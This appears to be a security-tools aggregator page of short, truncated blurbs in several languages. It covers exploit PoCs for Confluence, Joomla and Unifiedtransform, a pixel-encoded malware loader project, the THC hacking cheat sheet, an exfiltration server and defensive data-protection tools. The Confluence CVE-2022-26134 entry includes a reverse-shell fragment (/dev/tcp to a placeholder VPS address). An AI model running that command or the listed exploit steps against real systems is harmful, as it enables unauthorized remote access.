PixelCode-Attack

恶意像素码传递技术 恶意像素码是一个安全研究项目，展示了一种将可执行文件编码为像素数据并存储在图像或视频中的隐蔽技术。一个轻量级加载器检索媒体文件，重建原始二进制文件，并在内存中执行。该项目仅用于教育和研究目的，旨在突出非常规数据传递和混淆方法。 这项研究曾被《Cyber Security News》报道：https://cybersecuritynews.com/pixelcode-attack/ !CAUTION 重要提示 ：本项目仅限用于教育、研究和防御性安全目的。未经授权使用这些技术可能违反法律并导致严重的法律后果。 什么是像素码？...

Twitter-Info

Información de Twitter Un simple script de Python para obtener información de la cuenta de Twitter como: Nombre Siguiendo Seguidores Me gusta Fecha de la cuenta Foto de perfil solo con el nombre de usuario o el enlace del perfil. Uso root@kitploit: python3 twitterinfo.py or Ejemplo Entrada...

CVE-2026-92588

n8n is a workflow automation platform. In versions before 1.123.76 , 2.37.7 , and 2.38.2 , the source control push endpoint derived the set of files to push from client-supplied file paths and status rather than from server-side status computed for the requesting user. An authenticated project-sc...

presidio

Presidio - 数据保护和去标识化 SDK 📣 Presidio 即将迁往新家！点击此处了解更多 📣 上下文感知、可插拔且可定制的文本和图像PII去标识化服务。 什么是 Presidio Presidio（源自拉丁语 praesidium，意为“保护、驻军”）有助于确保敏感数据得到妥善管理和治理。它提供快速的 识别 和 匿名化 模块，用于处理文本中的私人实体，例如信用卡号、姓名、位置、社会安全号码、比特币钱包、美国电话号码、财务数据等。 📘 完整文档 📣 项目迁移更新 ❓ 常见问题解答 💭 演示 🛫 示例 目标...

agent

Binary Refinery 技能 此仓库存储了一个用于 Binary Refinery 的 Claude 技能。 它可以为您的恶意软件分析智能体提供一系列用于数据提取和转换的有用工具。 !CAUTION 请确保您使用的 refinery 版本为 0.10.5 或更高版本 。 该技能依赖于此处引入的对 binref 实用程序的更改。 !NOTE 欢迎提交错误报告和建议——请开启 issue 或 pull request！ 安装 该技能可通过在 Claude 中执行以下命令来安装： root@kitploit: /plugin marketplace add binref/agent...

CVE-2022-26134

CVE-2022-26134 リモート攻撃者は認証なしでOGNL式を注入し、Confluence ServerまたはData Center上で任意のコードを実行できます。POCを修正し、getshellを容易にします。一般的なポート:8090 影響を受けるバージョン Confluence Server and Data Center = 1.3.0 7.14.0 & /dev/tcp/vps ip/vps port 0&1...

Security-Datasets

セキュリティデータセット Security Datasets プロジェクトは、オープンソースの取り組みであり、さまざまなプラットフォームからの悪意のあるデータセットと良性のデータセットを情報セキュリティコミュニティに提供し、データ分析と脅威調査を促進します。 ドキュメント https://securitydatasets.com 目標 データ分析の開発を促進するためのオープンでポータブルなデータセットを提供する。 攻撃手法のシミュレーションを容易にし、促進する。 世界中のセキュリティアナリストが実際のデータでスキルをテストできるようにする。...

thc-tips-tricks-hacks-cheat-sheet

THC 最爱的技巧、窍门与黑客手法（速查表） https://thc.org/tips 这是我们最喜欢的一些技巧的合集。其中许多技巧并非我们原创，我们只是收集整理。 我们按原样展示这些技巧，不解释其原理。你需要了解 Linux 才能理解它们的工作方式和原因。 有好技巧？加入我们 https://thc.org/ops 1. Bash 1. 设置 Hack Shell 2. 隐藏你的命令 3. 隐藏你的命令行选项 4. 隐藏网络连接 5. 以用户身份隐藏进程 6. 以 root 身份隐藏进程 7. 隐藏脚本 8. 对 cat 隐藏 9. 并行执行并分别记录日志 2. SSH 1. 几乎不可...

RedDrop

RedDrop Exfil サーバー 関連するMaverisLabsブログ記事はこちら！ RedDrop Exfil サーバーは、ペネトレーションテスター、レッドチーム、セキュリティ専門家向けのPython Flask Webサーバーで、以下の機能を備えています： ファイルアップロード 自動ペイロード処理 自動アーカイブ抽出 JSONロギング 設定可能なオプション 認証ルール このソフトウェアは、さまざまなシナリオでWebリクエストデータをキャプチャするための初歩的なC2エンドポイントとして使用することを意図しています。いくつかの例としては： ブラインドコマンドインジェクション脆弱性...

CVE-2025-25615

CVE-2025-25615 Unifiedtransform v2.0 は、不適切なアクセス制御の脆弱性があり、教師がすべてのクラスセクションの出席リストを閲覧できる状態にあります。 開発元: Unifiedtransform PoC ステップ 1: 教師としてアプリケーションにログインします。 ステップ 2: 次のエンドポイントにアクセスします: /attendances/view?classid=1&sectionid=2&courseid=1 classid および sectionid パラメータを変更すると、異なるセクションにアクセスできます。 ステップ 3:...

egression

Description EGRESSION is a tool that provides an instant view of how easy it is to upload sensitive data from any given network. It starts with a sensitive file with these contents, which is stored locally in plaintext. This file is used to test the egress / DLP controls on the network by...

apkSneeze

apkSneeze v2.0.0 Androidアプリのペネトレーションテストにおける退屈な作業を自動化するツールです。 現在、このツールは以下の機能を提供します: 1. 提供されたAPKファイルを逆コンパイルします。 2. 提供されたAPKファイルをJarファイルに変換します。 3. 逆コンパイルされたファイルから興味深い文字列を検索します。 4. ADB over WiFiをセットアップします。 5. テストデバイスからAPKファイルをダウンロードします（root化されたデバイスが必要）。 Androidデバイス上の場所: /data/app/ 6...

vault

Vault Please note : We take Vault's security and our users' trust very seriously. If you believe you have found a security issue in Vault, please responsibly disclose by contacting us at [email protected]. Website: developer.hashicorp.com/vault Announcement list: Google Groups Discussion...

data-breach

最新のデータ漏洩リポジトリ このリポジトリは、世界中で確認されたデータ漏洩の包括的かつ継続的に維持されたリストを提供します。各漏洩エントリには、通常は影響を受けた組織を反映した漏洩名と、インシデントの発生日が含まれます。これらの2つの主要フィールドにより、データの追跡、参照、および外部システムへの統合が容易になります。 リストは、Lunar、HIBP、Databreach から毎日更新され、情報を新鮮で信頼できるものに保っています。...

tenzir

セキュリティチームのためのデータパイプライン テレメトリの収集、変換、エンリッチ、ルーティングをすべて1か所で。 Tenzirとは？ Tenzirは、セキュリティチームのためのデータパイプラインエンジンです。 セキュリティテレメトリデータを大規模に収集、解析、整形、正規化、集約、保存、検索、ルーティングする必要があるなら、当社のパイプラインがデータフローを管理する方法を気に入っていただけるはずです。Tenzirを使えば、多数のソースからのデータを迅速にオンボードして保存し、データ量を削減してクラウドコストとデータコストを最適化し、ストリーム内で検出を実行して分析を行うことが簡単になります...

Joomblah

Joomblah Exploit para Joomla 3.7.0 CVE-2017-8917 Explicación sobre la vulnerabilidad: https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html Modificación del código Modificación en la línea 46 root@kitploit: ... result += value.decode'utf-8' ... Uso Apunte el script joomblah....

pmanager

Pmanager Demo Description Store and retrieve your passwords from a secure offline database. Check if your passwords has leaked previously to prevent targeted password reuse attacks. Why develop another password manager ? This project was initially born from my desire to learn Rust. I was tired of...

CVE-2023-22527

CVE-2023-22527 CVE-2023-22527 - 服务器端模板注入（SSTI）漏洞，允许在 Confluence Data Center 和 Confluence Server 中远程执行代码（RCE） 受影响的产品和版本： 产品| 受影响版本 ---|--- Confluence Data Center 和 Server| 8.0.x 8.2.x 8.3.x 8.4.x 8.5.0-8.5.3 CVSS: 10.0 已被积极利用: 是 补丁: 有 缓解措施: 无 帮助 root@kitploit: 用法: CVE-2023-22527.py -h -u URL -c...

https-nj.gov---CVE-2018-14041

https-nj.gov---CVE-2018-14041 ニュージャージー州公式サイトの脆弱性レポート data-target 属性はクロスサイトスクリプティング攻撃に対して脆弱です。 Test 推奨事項 この特定の問題に対する修正は、getTargetFromTrigger 関数を変更することです。 return $target を次のように変更します: return $document.querySelectortarget しかし、同じ問題は他の場所にも存在するようです。 別の例を次に示します: Test...

bounty-targets-data

bounty-targets-data 用途 本仓库包含 Hackerone 和 Bugcrowd 范围（即符合漏洞赏金报告条件的域名）的数据转储。提供的文件如下： 主要文件： domains.txt：完整域名列表，不含通配符。 wildcards.txt：完整通配符域名列表。注意： 某个项目可能将 .example.com 列入范围内，但将 excluded.example.com 排除在范围外，因此在提交报告前请先查看项目规则。 额外文件： bugcrowddata.json：原始 Bugcrowd 数据。 hackeronedata.json：原始 Hackerone 数据。...